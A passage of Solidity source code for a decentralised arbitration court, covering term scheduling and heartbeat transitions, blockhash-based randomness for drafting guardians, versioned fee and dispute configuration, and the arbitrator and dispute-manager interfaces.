"CLK_CANNOT_DELAY_PAST_START_TIME"; // Maximum number of term transitions a callee may have to assume in order to call certain functions that require the Court being up-to-date uint64 internal constant MAX_AUTO_TERM_TRANSITIONS_ALLOWED = 1; // Max duration in seconds that a term can last uint64 internal constant MAX_TERM_DURATION = 365 days; // Max time until first term starts since contract is deployed uint64 internal constant MAX_FIRST_TERM_DELAY_PERIOD = 2 * MAX_TERM_DURATION; struct Term { uint64 startTime; // Timestamp when the term started uint64 randomnessBN; // Block number for entropy bytes32 randomness; // Entropy from randomnessBN block hash } // Duration in seconds for each term of the Court uint64 private termDuration; // Last ensured term id uint64 private termId; // List of Court terms indexed by id mapping (uint64 => Term) private terms; event Heartbeat(uint64 previousTermId, uint64 currentTermId); event StartTimeDelayed(uint64 previousStartTime, uint64 currentStartTime); /** * @dev Ensure a certain term has already been processed * @param _termId Identification number of the term to be checked */ modifier termExists(uint64 _termId) { require(_termId <= termId, ERROR_TERM_DOES_NOT_EXIST); _; } /** * @dev Constructor function * @param _termParams Array containing: * 0. _termDuration Duration in seconds per term * 1. _firstTermStartTime Timestamp in seconds when the court will open (to give time for guardian on-boarding) */ constructor(uint64[2] memory _termParams) public { uint64 _termDuration = _termParams[0]; uint64 _firstTermStartTime = _termParams[1]; require(_termDuration < MAX_TERM_DURATION, ERROR_TERM_DURATION_TOO_LONG); require(_firstTermStartTime >= getTimestamp64() + _termDuration, ERROR_BAD_FIRST_TERM_START_TIME); require(_firstTermStartTime <= getTimestamp64() + MAX_FIRST_TERM_DELAY_PERIOD, ERROR_BAD_FIRST_TERM_START_TIME); termDuration = _termDuration; // No need for SafeMath: we already checked values above terms[0].startTime = _firstTermStartTime - _termDuration; } /** * @notice Ensure that the current term of the Court is up-to-date. If the Court is outdated by more than `MAX_AUTO_TERM_TRANSITIONS_ALLOWED` * terms, the heartbeat function must be called manually instead. * @return Identification number of the current term */ function ensureCurrentTerm() external returns (uint64) { return _ensureCurrentTerm(); } /** * @notice Transition up to `_maxRequestedTransitions` terms * @param _maxRequestedTransitions Max number of term transitions allowed by the sender * @return Identification number of the term ID after executing the heartbeat transitions */ function heartbeat(uint64 _maxRequestedTransitions) external returns (uint64) { return _heartbeat(_maxRequestedTransitions); } /** * @notice Ensure that a certain term has its randomness set. As we allow to draft disputes requested for previous terms, if there * were mined more than 256 blocks for the current term, the blockhash of its randomness BN is no longer available, given * round will be able to be drafted in the following term. * @return Randomness of the current term */ function ensureCurrentTermRandomness() external returns (bytes32) { // If the randomness for the given term was already computed, return uint64 currentTermId = termId; Term storage term = terms[currentTermId]; bytes32 termRandomness = term.randomness; if (termRandomness != bytes32(0)) { return termRandomness; } // Compute term randomness bytes32 newRandomness = _computeTermRandomness(currentTermId); require(newRandomness != bytes32(0), ERROR_TERM_RANDOMNESS_UNAVAILABLE); term.randomness = newRandomness; return newRandomness; } /** * @dev Tell the term duration of the Court * @return Duration in seconds of the Court term */ function getTermDuration() external view returns (uint64) { return termDuration; } /** * @dev Tell the last ensured term identification number * @return Identification number of the last ensured term */ function getLastEnsuredTermId() external view returns (uint64) { return _lastEnsuredTermId(); } /** * @dev Tell the current term identification number. Note that there may be pending term transitions. * @return Identification number of the current term */ function getCurrentTermId() external view returns (uint64) { return _currentTermId(); } /** * @dev Tell the number of terms the Court should transition to be up-to-date * @return Number of terms the Court should transition to be up-to-date */ function getNeededTermTransitions() external view returns (uint64) { return _neededTermTransitions(); } /** * @dev Tell the information related to a term based on its ID. Note that if the term has not been reached, the * information returned won't be computed yet. This function allows querying future terms that were not computed yet. * @param _termId ID of the term being queried * @return startTime Term start time * @return randomnessBN Block number used for randomness in the requested term * @return randomness Randomness computed for the requested term */ function getTerm(uint64 _termId) external view returns (uint64 startTime, uint64 randomnessBN, bytes32 randomness) { Term storage term = terms[_termId]; return (term.startTime, term.randomnessBN, term.randomness); } /** * @dev Tell the randomness of a term even if it wasn't computed yet * @param _termId Identification number of the term being queried * @return Randomness of the requested term */ function getTermRandomness(uint64 _termId) external view termExists(_termId) returns (bytes32) { return _computeTermRandomness(_termId); } /** * @dev Internal function to ensure that the current term of the Court is up-to-date. If the Court is outdated by more than * `MAX_AUTO_TERM_TRANSITIONS_ALLOWED` terms, the heartbeat function must be called manually. * @return Identification number of the resultant term ID after executing the corresponding transitions */ function _ensureCurrentTerm() internal returns (uint64) { // Check the required number of transitions does not exceeds the max allowed number to be processed automatically uint64 requiredTransitions = _neededTermTransitions(); require(requiredTransitions <= MAX_AUTO_TERM_TRANSITIONS_ALLOWED, ERROR_TOO_MANY_TRANSITIONS); // If there are no transitions pending, return the last ensured term id if (uint256(requiredTransitions) == 0) { return termId; } // Process transition if there is at least one pending return _heartbeat(requiredTransitions); } /** * @dev Internal function to transition the Court terms up to a requested number of terms * @param _maxRequestedTransitions Max number of term transitions allowed by the sender * @return Identification number of the resultant term ID after executing the requested transitions */ function _heartbeat(uint64 _maxRequestedTransitions) internal returns (uint64) { // Transition the minimum number of terms between the amount requested and the amount actually needed uint64 neededTransitions = _neededTermTransitions(); uint256 transitions = uint256(_maxRequestedTransitions < neededTransitions ? _maxRequestedTransitions : neededTransitions); require(transitions > 0, ERROR_INVALID_TRANSITION_TERMS); uint64 blockNumber = getBlockNumber64(); uint64 previousTermId = termId; uint64 currentTermId = previousTermId; for (uint256 transition = 1; transition <= transitions; transition++) { // Term IDs are incremented by one based on the number of time periods since the Court started. Since time is represented in uint64, // even if we chose the minimum duration possible for a term (1 second), we can ensure terms will never reach 2^64 since time is // already assumed to fit in uint64. Term storage previousTerm = terms[currentTermId++]; Term storage currentTerm = terms[currentTermId]; _onTermTransitioned(currentTermId); // Set the start time of the new term. Note that we are using a constant term duration value to guarantee // equally long terms, regardless of heartbeats. currentTerm.startTime = previousTerm.startTime.add(termDuration); // In order to draft a random number of guardians in a term, we use a randomness factor for each term based on a // block number that is set once the term has started. Note that this information could not be known beforehand. currentTerm.randomnessBN = blockNumber + 1; } termId = currentTermId; emit Heartbeat(previousTermId, currentTermId); return currentTermId; } /** * @dev Internal function to delay the first term start time only if it wasn't reached yet * @param _newFirstTermStartTime New timestamp in seconds when the court will open */ function _delayStartTime(uint64 _newFirstTermStartTime) internal { require(_currentTermId() == 0, ERROR_CANNOT_DELAY_STARTED_COURT); Term storage term = terms[0]; uint64 currentFirstTermStartTime = term.startTime.add(termDuration); require(_newFirstTermStartTime > currentFirstTermStartTime, ERROR_CANNOT_DELAY_PAST_START_TIME); // No need for SafeMath: we already checked above that `_newFirstTermStartTime` > `currentFirstTermStartTime` >= `termDuration` term.startTime = _newFirstTermStartTime - termDuration; emit StartTimeDelayed(currentFirstTermStartTime, _newFirstTermStartTime); } /** * @dev Internal function to notify when a term has been transitioned. This function must be overridden to provide custom behavior. * @param _termId Identification number of the new current term that has been transitioned */ function _onTermTransitioned(uint64 _termId) internal; /** * @dev Internal function to tell the last ensured term identification number * @return Identification number of the last ensured term */ function _lastEnsuredTermId() internal view returns (uint64) { return termId; } /** * @dev Internal function to tell the current term identification number. Note that there may be pending term transitions. * @return Identification number of the current term */ function _currentTermId() internal view returns (uint64) { return termId.add(_neededTermTransitions()); } /** * @dev Internal function to tell the number of terms the Court should transition to be up-to-date * @return Number of terms the Court should transition to be up-to-date */ function _neededTermTransitions() internal view returns (uint64) { // Note that the Court is always initialized providing a start time for the first-term in the future. If that's the case, // no term transitions are required. uint64 currentTermStartTime = terms[termId].startTime; if (getTimestamp64() < currentTermStartTime) { return uint64(0); } // No need for SafeMath: we already know that the start time of the current term is in the past return (getTimestamp64() - currentTermStartTime) / termDuration; } /** * @dev Internal function to compute the randomness that will be used to draft guardians for the given term. This * function assumes the given term exists. To determine the randomness factor for a term we use the hash of a * block number that is set once the term has started to ensure it cannot be known beforehand. Note that the * hash function being used only works for the 256 most recent block numbers. * @param _termId Identification number of the term being queried * @return Randomness computed for the given term */ function _computeTermRandomness(uint64 _termId) internal view returns (bytes32) { Term storage term = terms[_termId]; require(getBlockNumber64() > term.randomnessBN, ERROR_TERM_RANDOMNESS_NOT_YET); return blockhash(term.randomnessBN); } } interface IConfig { /** * @dev Tell the full Court configuration parameters at a certain term * @param _termId Identification number of the term querying the Court config of * @return token Address of the token used to pay for fees * @return fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @return roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @return pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @return roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * @return appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor Multiple of dispute fees required to confirm appeal * @return minActiveBalance Minimum amount of tokens guardians have to activate to participate in the Court */ function getConfig(uint64 _termId) external view returns ( IERC20 feeToken, uint256[3] memory fees, uint64[5] memory roundStateDurations, uint16[2] memory pcts, uint64[4] memory roundParams, uint256[2] memory appealCollateralParams, uint256 minActiveBalance ); /** * @dev Tell the draft config at a certain term * @param _termId Identification number of the term querying the draft config of * @return feeToken Address of the token used to pay for fees * @return draftFee Amount of fee tokens per guardian to cover the drafting cost * @return penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) */ function getDraftConfig(uint64 _termId) external view returns (IERC20 feeToken, uint256 draftFee, uint16 penaltyPct); /** * @dev Tell the min active balance config at a certain term * @param _termId Term querying the min active balance config of * @return Minimum amount of tokens guardians have to activate to participate in the Court */ function getMinActiveBalance(uint64 _termId) external view returns (uint256); } contract CourtConfigData { struct Config { FeesConfig fees; // Full fees-related config DisputesConfig disputes; // Full disputes-related config uint256 minActiveBalance; // Minimum amount of tokens guardians have to activate to participate in the Court } struct FeesConfig { IERC20 token; // ERC20 token to be used for the fees of the Court uint16 finalRoundReduction; // Permyriad of fees reduction applied for final appeal round (‱ - 1/10,000) uint256 guardianFee; // Amount of tokens paid to draft a guardian to adjudicate a dispute uint256 draftFee; // Amount of tokens paid per round to cover the costs of drafting guardians uint256 settleFee; // Amount of tokens paid per round to cover the costs of slashing guardians } struct DisputesConfig { uint64 evidenceTerms; // Max submitting evidence period duration in terms uint64 commitTerms; // Committing period duration in terms uint64 revealTerms; // Revealing period duration in terms uint64 appealTerms; // Appealing period duration in terms uint64 appealConfirmTerms; // Confirmation appeal period duration in terms uint16 penaltyPct; // Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) uint64 firstRoundGuardiansNumber; // Number of guardians drafted on first round uint64 appealStepFactor; // Factor in which the guardians number is increased on each appeal uint64 finalRoundLockTerms; // Period a coherent guardian in the final round will remain locked uint256 maxRegularAppealRounds; // Before the final appeal uint256 appealCollateralFactor; // Permyriad multiple of dispute fees required to appeal a preliminary ruling (‱ - 1/10,000) uint256 appealConfirmCollateralFactor; // Permyriad multiple of dispute fees required to confirm appeal (‱ - 1/10,000) } struct DraftConfig { IERC20 feeToken; // ERC20 token to be used for the fees of the Court uint16 penaltyPct; // Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) uint256 draftFee; // Amount of tokens paid per round to cover the costs of drafting guardians } } contract CourtConfig is IConfig, CourtConfigData { using SafeMath64 for uint64; using PctHelpers for uint256; string private constant ERROR_TOO_OLD_TERM = "CONF_TOO_OLD_TERM"; string private constant ERROR_INVALID_PENALTY_PCT = "CONF_INVALID_PENALTY_PCT"; string private constant ERROR_INVALID_FINAL_ROUND_REDUCTION_PCT = "CONF_INVALID_FINAL_ROUND_RED_PCT"; string private constant ERROR_INVALID_MAX_APPEAL_ROUNDS = "CONF_INVALID_MAX_APPEAL_ROUNDS"; string private constant ERROR_LARGE_ROUND_PHASE_DURATION = "CONF_LARGE_ROUND_PHASE_DURATION"; string private constant ERROR_BAD_INITIAL_GUARDIANS_NUMBER = "CONF_BAD_INITIAL_GUARDIAN_NUMBER"; string private constant ERROR_BAD_APPEAL_STEP_FACTOR = "CONF_BAD_APPEAL_STEP_FACTOR"; string private constant ERROR_ZERO_COLLATERAL_FACTOR = "CONF_ZERO_COLLATERAL_FACTOR"; string private constant ERROR_ZERO_MIN_ACTIVE_BALANCE = "CONF_ZERO_MIN_ACTIVE_BALANCE"; // Max number of terms that each of the different adjudication states can last (if lasted 1h, this would be a year) uint64 internal constant MAX_ADJ_STATE_DURATION = 8670; // Cap the max number of regular appeal rounds uint256 internal constant MAX_REGULAR_APPEAL_ROUNDS_LIMIT = 10; // Future term ID in which a config change has been scheduled uint64 private configChangeTermId; // List of all the configs used in the Court Config[] private configs; // List of configs indexed by id mapping (uint64 => uint256) private configIdByTerm; event NewConfig(uint64 fromTermId, uint64 courtConfigId); /** * @dev Constructor function * @param _feeToken Address of the token contract that is used to pay for fees * @param _fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @param _roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @param _pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @param _roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @param _appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor Multiple of dispute fees required to confirm appeal * @param _minActiveBalance Minimum amount of guardian tokens that can be activated */ constructor( IERC20 _feeToken, uint256[3] memory _fees, uint64[5] memory _roundStateDurations, uint16[2] memory _pcts, uint64[4] memory _roundParams, uint256[2] memory _appealCollateralParams, uint256 _minActiveBalance ) public { // Leave config at index 0 empty for non-scheduled config changes configs.length = 1; _setConfig( 0, 0, _feeToken, _fees, _roundStateDurations, _pcts, _roundParams, _appealCollateralParams, _minActiveBalance ); } /** * @dev Tell the full Court configuration parameters at a certain term * @param _termId Identification number of the term querying the Court config of * @return token Address of the token used to pay for fees * @return fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @return roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @return pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @return roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * @return appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor Multiple of dispute fees required to confirm appeal * @return minActiveBalance Minimum amount of tokens guardians have to activate to participate in the Court */ function getConfig(uint64 _termId) external view returns ( IERC20 feeToken, uint256[3] memory fees, uint64[5] memory roundStateDurations, uint16[2] memory pcts, uint64[4] memory roundParams, uint256[2] memory appealCollateralParams, uint256 minActiveBalance ); /** * @dev Tell the draft config at a certain term * @param _termId Identification number of the term querying the draft config of * @return feeToken Address of the token used to pay for fees * @return draftFee Amount of fee tokens per guardian to cover the drafting cost * @return penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) */ function getDraftConfig(uint64 _termId) external view returns (IERC20 feeToken, uint256 draftFee, uint16 penaltyPct); /** * @dev Tell the min active balance config at a certain term * @param _termId Term querying the min active balance config of * @return Minimum amount of tokens guardians have to activate to participate in the Court */ function getMinActiveBalance(uint64 _termId) external view returns (uint256); /** * @dev Tell the term identification number of the next scheduled config change * @return Term identification number of the next scheduled config change */ function getConfigChangeTermId() external view returns (uint64) { return configChangeTermId; } /** * @dev Internal to make sure to set a config for the new term, it will copy the previous term config if none * @param _termId Identification number of the new current term that has been transitioned */ function _ensureTermConfig(uint64 _termId) internal { // If the term being transitioned had no config change scheduled, keep the previous one uint256 currentConfigId = configIdByTerm[_termId]; if (currentConfigId == 0) { uint256 previousConfigId = configIdByTerm[_termId.sub(1)]; configIdByTerm[_termId] = previousConfigId; } } /** * @dev Assumes that sender it's allowed (either it's from governor or it's on init) * @param _termId Identification number of the current Court term * @param _fromTermId Identification number of the term in which the config will be effective at * @param _feeToken Address of the token contract that is used to pay for fees. * @param _fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @param _roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @param _pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @param _roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @param _appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor Multiple of dispute fees required to confirm appeal * @param _minActiveBalance Minimum amount of guardian tokens that can be activated */ function _setConfig( uint64 _termId, uint64 _fromTermId, IERC20 _feeToken, uint256[3] memory _fees, uint64[5] memory _roundStateDurations, uint16[2] memory _pcts, uint64[4] memory _roundParams, uint256[2] memory _appealCollateralParams, uint256 _minActiveBalance ) internal { // If the current term is not zero, changes must be scheduled at least after the current period. // No need to ensure delays for on-going disputes since these already use their creation term for that. require(_termId == 0 || _fromTermId > _termId, ERROR_TOO_OLD_TERM); // Make sure appeal collateral factors are greater than zero require(_appealCollateralParams[0] > 0 && _appealCollateralParams[1] > 0, ERROR_ZERO_COLLATERAL_FACTOR); // Make sure the given penalty and final round reduction pcts are not greater than 100% require(PctHelpers.isValid(_pcts[0]), ERROR_INVALID_PENALTY_PCT); require(PctHelpers.isValid(_pcts[1]), ERROR_INVALID_FINAL_ROUND_REDUCTION_PCT); // Disputes must request at least one guardian to be drafted initially require(_roundParams[0] > 0, ERROR_BAD_INITIAL_GUARDIANS_NUMBER); // Prevent that further rounds have zero guardians require(_roundParams[1] > 0, ERROR_BAD_APPEAL_STEP_FACTOR); // Make sure the max number of appeals allowed does not reach the limit uint256 _maxRegularAppealRounds = _roundParams[2]; bool isMaxAppealRoundsValid = _maxRegularAppealRounds > 0 && _maxRegularAppealRounds <= MAX_REGULAR_APPEAL_ROUNDS_LIMIT; require(isMaxAppealRoundsValid, ERROR_INVALID_MAX_APPEAL_ROUNDS); // Make sure each adjudication round phase duration is valid for (uint i = 0; i < _roundStateDurations.length; i++) { require(_roundStateDurations[i] > 0 && _roundStateDurations[i] < MAX_ADJ_STATE_DURATION, ERROR_LARGE_ROUND_PHASE_DURATION); } // Make sure min active balance is not zero require(_minActiveBalance > 0, ERROR_ZERO_MIN_ACTIVE_BALANCE); // If there was a config change already scheduled, reset it (in that case we will overwrite last array item). // Otherwise, schedule a new config. if (configChangeTermId > _termId) { configIdByTerm[configChangeTermId] = 0; } else { configs.length++; } uint64 courtConfigId = uint64(configs.length - 1); Config storage config = configs[courtConfigId]; config.fees = FeesConfig({ token: _feeToken, guardianFee: _fees[0], draftFee: _fees[1], settleFee: _fees[2], finalRoundReduction: _pcts[1] }); config.disputes = DisputesConfig({ evidenceTerms: _roundStateDurations[0], commitTerms: _roundStateDurations[1], revealTerms: _roundStateDurations[2], appealTerms: _roundStateDurations[3], appealConfirmTerms: _roundStateDurations[4], penaltyPct: _pcts[0], firstRoundGuardiansNumber: _roundParams[0], appealStepFactor: _roundParams[1], maxRegularAppealRounds: _maxRegularAppealRounds, finalRoundLockTerms: _roundParams[3], appealCollateralFactor: _appealCollateralParams[0], appealConfirmCollateralFactor: _appealCollateralParams[1] }); config.minActiveBalance = _minActiveBalance; configIdByTerm[_fromTermId] = courtConfigId; configChangeTermId = _fromTermId; emit NewConfig(_fromTermId, courtConfigId); } /** * @dev Internal function to get the Court config for a given term * @param _termId Identification number of the term querying the Court config of * @param _lastEnsuredTermId Identification number of the last ensured term of the Court * @return token Address of the token used to pay for fees * @return fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @return roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @return pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @return roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @return appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor Multiple of dispute fees required to confirm appeal * @return minActiveBalance Minimum amount of guardian tokens that can be activated */ function _getConfigAt(uint64 _termId, uint64 _lastEnsuredTermId) internal view returns ( IERC20 feeToken, uint256[3] memory fees, uint64[5] memory roundStateDurations, uint16[2] memory pcts, uint64[4] memory roundParams, uint256[2] memory appealCollateralParams, uint256 minActiveBalance ) { Config storage config = _getConfigFor(_termId, _lastEnsuredTermId); FeesConfig storage feesConfig = config.fees; feeToken = feesConfig.token; fees = [feesConfig.guardianFee, feesConfig.draftFee, feesConfig.settleFee]; DisputesConfig storage disputesConfig = config.disputes; roundStateDurations = [ disputesConfig.evidenceTerms, disputesConfig.commitTerms, disputesConfig.revealTerms, disputesConfig.appealTerms, disputesConfig.appealConfirmTerms ]; pcts = [disputesConfig.penaltyPct, feesConfig.finalRoundReduction]; roundParams = [ disputesConfig.firstRoundGuardiansNumber, disputesConfig.appealStepFactor, uint64(disputesConfig.maxRegularAppealRounds), disputesConfig.finalRoundLockTerms ]; appealCollateralParams = [disputesConfig.appealCollateralFactor, disputesConfig.appealConfirmCollateralFactor]; minActiveBalance = config.minActiveBalance; } /** * @dev Tell the draft config at a certain term * @param _termId Identification number of the term querying the draft config of * @param _lastEnsuredTermId Identification number of the last ensured term of the Court * @return feeToken Address of the token used to pay for fees * @return draftFee Amount of fee tokens per guardian to cover the drafting cost * @return penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) */ function _getDraftConfig(uint64 _termId, uint64 _lastEnsuredTermId) internal view returns (IERC20 feeToken, uint256 draftFee, uint16 penaltyPct) { Config storage config = _getConfigFor(_termId, _lastEnsuredTermId); return (config.fees.token, config.fees.draftFee, config.disputes.penaltyPct); } /** * @dev Internal function to get the min active balance config for a given term * @param _termId Identification number of the term querying the min active balance config of * @param _lastEnsuredTermId Identification number of the last ensured term of the Court * @return Minimum amount of guardian tokens that can be activated at the given term */ function _getMinActiveBalance(uint64 _termId, uint64 _lastEnsuredTermId) internal view returns (uint256) { Config storage config = _getConfigFor(_termId, _lastEnsuredTermId); return config.minActiveBalance; } /** * @dev Internal function to get the Court config for a given term * @param _termId Identification number of the term querying the min active balance config of * @param _lastEnsuredTermId Identification number of the last ensured term of the Court * @return Court config for the given term */ function _getConfigFor(uint64 _termId, uint64 _lastEnsuredTermId) internal view returns (Config storage) { uint256 id = _getConfigIdFor(_termId, _lastEnsuredTermId); return configs[id]; } /** * @dev Internal function to get the Court config ID for a given term * @param _termId Identification number of the term querying the Court config of * @param _lastEnsuredTermId Identification number of the last ensured term of the Court * @return Identification number of the config for the given terms */ function _getConfigIdFor(uint64 _termId, uint64 _lastEnsuredTermId) internal view returns (uint256) { // If the given term is lower or equal to the last ensured Court term, it is safe to use a past Court config if (_termId <= _lastEnsuredTermId) { return configIdByTerm[_termId]; } // If the given term is in the future but there is a config change scheduled before it, use the incoming config uint64 scheduledChangeTermId = configChangeTermId; if (scheduledChangeTermId <= _termId) { return configIdByTerm[scheduledChangeTermId]; } // If no changes are scheduled, use the Court config of the last ensured term return configIdByTerm[_lastEnsuredTermId]; } } /* * SPDX-License-Identifier: MIT */ interface IArbitrator { /** * @dev Create a dispute over the Arbitrable sender with a number of possible rulings * @param _possibleRulings Number of possible rulings allowed for the dispute * @param _metadata Optional metadata that can be used to provide additional information on the dispute to be created * @return Dispute identification number */ function createDispute(uint256 _possibleRulings, bytes calldata _metadata) external returns (uint256); /** * @dev Submit evidence for a dispute * @param _disputeId Id of the dispute in the Court * @param _submitter Address of the account submitting the evidence * @param _evidence Data submitted for the evidence related to the dispute */ function submitEvidence(uint256 _disputeId, address _submitter, bytes calldata _evidence) external; /** * @dev Close the evidence period of a dispute * @param _disputeId Identification number of the dispute to close its evidence submitting period */ function closeEvidencePeriod(uint256 _disputeId) external; /** * @notice Rule dispute #`_disputeId` if ready * @param _disputeId Identification number of the dispute to be ruled * @return subject Subject associated to the dispute * @return ruling Ruling number computed for the given dispute */ function rule(uint256 _disputeId) external returns (address subject, uint256 ruling); /** * @dev Tell the dispute fees information to create a dispute * @return recipient Address where the corresponding dispute fees must be transferred to * @return feeToken ERC20 token used for the fees * @return feeAmount Total amount of fees that must be allowed to the recipient */ function getDisputeFees() external view returns (address recipient, IERC20 feeToken, uint256 feeAmount); /** * @dev Tell the payments recipient address * @return Address of the payments recipient module */ function getPaymentsRecipient() external view returns (address); } /* * SPDX-License-Identifier: MIT */ /** * @dev The Arbitrable instances actually don't require to follow any specific interface. * Note that this is actually optional, although it does allow the Court to at least have a way to identify a specific set of instances. */ contract IArbitrable { /** * @dev Emitted when an IArbitrable instance's dispute is ruled by an IArbitrator * @param arbitrator IArbitrator instance ruling the dispute * @param disputeId Identification number of the dispute being ruled by the arbitrator * @param ruling Ruling given by the arbitrator */ event Ruled(IArbitrator indexed arbitrator, uint256 indexed disputeId, uint256 ruling); } interface IDisputeManager { enum DisputeState { PreDraft, Adjudicating, Ruled } enum AdjudicationState { Invalid, Committing, Revealing, Appealing, ConfirmingAppeal, Ended } /** * @dev Create a dispute to be drafted in a future term * @param _subject Arbitrable instance creating the dispute * @param _possibleRulings Number of possible rulings allowed for the drafted guardians to vote on the dispute * @param _metadata Optional metadata that can be used to provide additional information on the dispute to be created * @return Dispute identification number */ function createDispute(IArbitrable _subject, uint8 _possibleRulings, bytes calldata _metadata) external returns (uint256); /** * @dev Submit evidence for a dispute * @param _subject Arbitrable instance submitting the dispute * @param _disputeId Identification number of the dispute receiving new evidence * @param _submitter Address of the account submitting the evidence * @param _evidence Data submitted for the evidence of the dispute */ function submitEvidence(IArbitrable _subject, uint256 _disputeId, address _submitter, bytes calldata _evidence) external; /** * @dev Close the evidence period of a dispute * @param _subject IArbitrable instance requesting to close the evidence submission period * @param _disputeId Identification number of the dispute to close its evidence submitting period */ function closeEvidencePeriod(IArbitrable _subject, uint256 _disputeId) external; /** * @dev Draft guardians for the next round of a dispute * @param _disputeId Identification number of the dispute to be drafted */ function draft(uint256 _disputeId) external; /** * @dev Appeal round of a dispute in favor of a certain ruling * @param _disputeId Identification number of the dispute being appealed * @param _roundId Identification number of the dispute round being appealed * @param _ruling Ruling appealing a dispute round in favor of */ function createAppeal(uint256 _disputeId, uint256 _roundId, uint8 _ruling) external; /** * @dev Confirm appeal for a round of a dispute in favor of a ruling * @param _disputeId Identification number of the dispute confirming an appeal of * @param _roundId Identification number of the dispute round confirming an appeal of * @param _ruling Ruling being confirmed against a dispute round appeal */ function confirmAppeal(uint256 _disputeId, uint256 _roundId, uint8 